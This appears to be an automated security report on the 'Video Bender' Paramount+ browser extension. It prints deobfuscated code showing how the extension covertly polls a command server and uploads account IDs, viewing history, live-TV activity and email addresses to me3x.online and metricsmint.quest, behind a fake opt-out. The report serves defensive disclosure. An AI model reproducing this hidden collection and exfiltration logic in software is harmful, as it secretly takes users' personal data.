Is Video Bender works with Paramount Plus [QVI] safe?
Video Bender sends your Paramount+ profile, viewing, and account data to remote servers every 5 minutes while you're logged in.
While you are logged into Paramount+, the extension periodically checks in with a remote server that tells it which of your account data to collect — profile list, continue-watching queue, subscription status, and what you're currently watching on live TV — then pulls that data from Paramount+'s own account pages and APIs and forwards it. It also reads your real email address, account ID, and registration country from your Paramount+ account page and sends them to a second server; the only visible sharing toggle in the extension's settings does not control this.
Who publishes itHideApp - 38 other listings from the same operator, 1 of them carrying a finding
HideApp - 38 other listings from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
38 other listings published from this account, 70k+ users between them. 1 of them carries a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension sends your Paramount+ account data to a remote server every 5 minutes
While logged into Paramount+, the extension asks a remote server what to collect, then uploads your profile, watch-list, or subscription data to it every 5 minutes, tagged to your account ID.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You stay logged into Paramount+ and keep a paramountplus.com tab open.
The extension asks a remote server what to collect, then uploads it every 5 minutes.
It repeats for as long as you remain logged in, with no further action from you.
- Paramount+ account ID70412938
Directly identifies your Paramount+ account.
- Profile IDa93f21c8-profile-02
Identifies which profile on the account is active.
- Extension-generated user IDext-9c31f7a2-4b6d-4e11-8a02-1d5f7c9e0b3a
A persistent ID the extension creates on install so every upload can be tied to you over time.
- Profile list, history, subscriptionscontinue-watching: 'Yellowstone S5E4', 'Star Trek: Discovery S3E1'
Which profiles exist on your account and what you've been watching or subscribe to.
- Country, language, timezone offsetUS, en-US, UTC-5
Rough location and device details sent alongside your account data.
The periodic poll-and-upload loop
scrapeParamountData(), renamed for clarity
paramount.min.js (readable)async function scrapeParamountData() { try { if (!(await isLogged())) return; // only runs while signed in const commandsInitData = await fetchCommandsInitData(); // accountId, profileId, extensionUserId, country... const commands = await fetchCommandsToSend(commandsInitData); // POST to me3x.online/n/paramount/start const commandsData = await executeCommandsToSend(commands); // run each command against Paramount+'s own APIs await sendCommandsData(commandsData); // POST results to me3x.online/n/paramount/upload } catch (error) { await paramountLogger("flow", error); }}ParamountHunter.run(), renamed for clarity
paramount.min.js (readable)const rerunTimeInterval = 300000; // config_paramount_namespaceObject.X1 = 5 minutesclass ParamountHunter { async run() { await scrapeParamountData(); setTimeout(() => this.run(), rerunTimeInterval); // reschedules itself forever }}- me3x.online
Receives your account ID, profile ID, and the profile/continue-watching/subscription data the command server asked for, roughly every 5 minutes. Not a Paramount or CBS domain.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension sends your email and account ID elsewhere with no working opt-out
The extension reads your real email, account ID, and country from Paramount+'s account page and uploads them, base64-encoded, to a second server.
The opt-out flag it checks is never set by the UI, so the upload cannot be turned off.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You stay logged into Paramount+ long enough for a routine subscriptions check.
It reads your real email, account ID, and country from your own account page and uploads them elsewhere.
The destination is metricsmint.quest, a separate host from the one used for the rest of the extension's data collection.
- Email addressjane.doe@example.com
Your real Paramount+ account email, in the clear once decoded.
- Account ID70412938
Directly identifies your Paramount+ account.
- Extension-generated user IDext-9c31f7a2-4b6d-4e11-8a02-1d5f7c9e0b3a
A persistent ID tying this upload to the rest of the extension's data collection about you.
- Registration countryUS
The country your account was registered in.
The upload isn't encrypted, only base64-encoded, so anyone who can see the request can decode it in one step. Values below are illustrative, built from the code's own field names, not a captured request.
{ "svod": "paramount", "account_id": "70412938", "extension_user_id": "ext-9c31f7a2-4b6d-4e11-8a02-1d5f7c9e0b3a", "customer_email": "jane.doe@example.com", "customer_country": "US"}The opt-out flag the UI never sets
The only toggle: writes 'shareInsights', not 'sharePersonalData'
options.html + optionPage.js (readable)// options.html has exactly one checkbox: id="shareInsights"// optionPage.js is the only code that writes to chrome.storage.sync:shareInsightsCheckbox.addEventListener('change', () => { chrome.storage.sync.set({ shareInsights: shareInsightsCheckbox.checked });});// No element, no code path anywhere in the extension writes 'sharePersonalData'.isOptedOutPii(), renamed for clarity
paramount.min.js (readable)async function isOptedOutPii() { return getOptedOut("sharePersonalData"); // key is NEVER written by any UI element}async function getOptedOut(key) { const stored = (await chrome.storage.sync.get(key))[key]; return stored === false; // undefined !== false, so this is always false by default}Base64-decodes a captured metricsmint.quest/up request body back to the readable JSON it was built from, so you can verify what was sent for yourself.
- Python 3.8+
import sysimport base64import jsondef main(): if len(sys.argv) != 2: print("usage: python3 decode-metricsmint-payload.py <base64_body>") sys.exit(1) raw = sys.argv[1] decoded_bytes = base64.b64decode(raw) decoded_text = decoded_bytes.decode("utf-8") try: parsed = json.loads(decoded_text) print(json.dumps(parsed, indent=2)) except json.JSONDecodeError: print(decoded_text)if __name__ == "__main__": main()- 1python3 decode-metricsmint-payload.py <base64_body>
- metricsmint.quest
Receives your real email, account ID, and country, base64-encoded. A separate host from the one the rest of the extension uploads viewing data to.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Extension reports the exact live show you're watching to a remote server
On Paramount+ live-TV pages, the extension watches the page for the program title, description, and rating, then reports them to a non-Paramount server along with your account ID roughly every 5 minutes while you keep watching.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Static analysis
You open a Paramount+ live-tv/stream page and start watching.
The extension reads the on-screen program title and description and sends them to a remote server.
It keeps reporting every 5 minutes for as long as the stream stays open.
- Program title, subtitle, description'Yellowstone', 'S5E4', 'Beth confronts the past'
The exact show you're watching, read from the page.
- Rating and durationTV-MA, 62 min
Content rating and how long the program runs.
- Page URL and pathhttps://www.paramountplus.com/live-tv/stream/cbs/
The exact live-tv URL you're on.
- Account ID and profile ID70412938 / a93f21c8-profile-02
Directly identifies your Paramount+ account and profile.
- Extension-generated user IDext-9c31f7a2-4b6d-4e11-8a02-1d5f7c9e0b3a
A persistent ID tying every report back to you over time.
Scraping the on-screen program and reporting it
Scraping the on-screen program, renamed for clarity
paramount.min.js (readable)const metadataContainer = document.querySelector(".video__metadata");if (!metadataContainer) return null;const title = metadataContainer.querySelector("p")?.textContent?.trim() || "Unknown";const subtitle = metadataContainer.querySelector(".subTitle")?.textContent?.trim() || "";const description = metadataContainer.querySelector(".description")?.textContent?.trim() || "";const rating = metadataContainer.querySelector(".rating")?.textContent?.trim() || null;reportLiveEvent(), renamed for clarity
paramount.min.js (readable)async function reportLiveEvent(eventData, isPing, identity, extensionUserId) { const eventType = !eventData.isLive ? "live_event_delayed" : isPing ? "live_event_ping" : "live_event_start"; const dataToSend = { extensionUserId, country: identity.country, profileId: identity.profileId, accountId: identity.accountId, location: window.location.href, eventType, liveEvent: { title: eventData.title, subtitle: eventData.subtitle, description: eventData.description, rating: eventData.rating, url: eventData.url, pathname: eventData.pathname } }; await uploadSingleEventData(dataToSend); // POST to me3x.online/n/paramount/upload-event}- me3x.online
Receives the exact program title, subtitle, description, and rating you're watching, plus your account and profile ID, roughly every 5 minutes. Not a Paramount or CBS domain.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Video Bender works with Paramount Plus [QVI] contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- metricsmint.questwidely used
Video Bender works with Paramount Plus [QVI] sends data to metricsmint.quest. A widely used service: 60 other extensions we have analyzed send data here.
- me3x.onlinewidely used
Video Bender works with Paramount Plus [QVI] sends data to me3x.online. A widely used service: 58 other extensions we have analyzed send data here.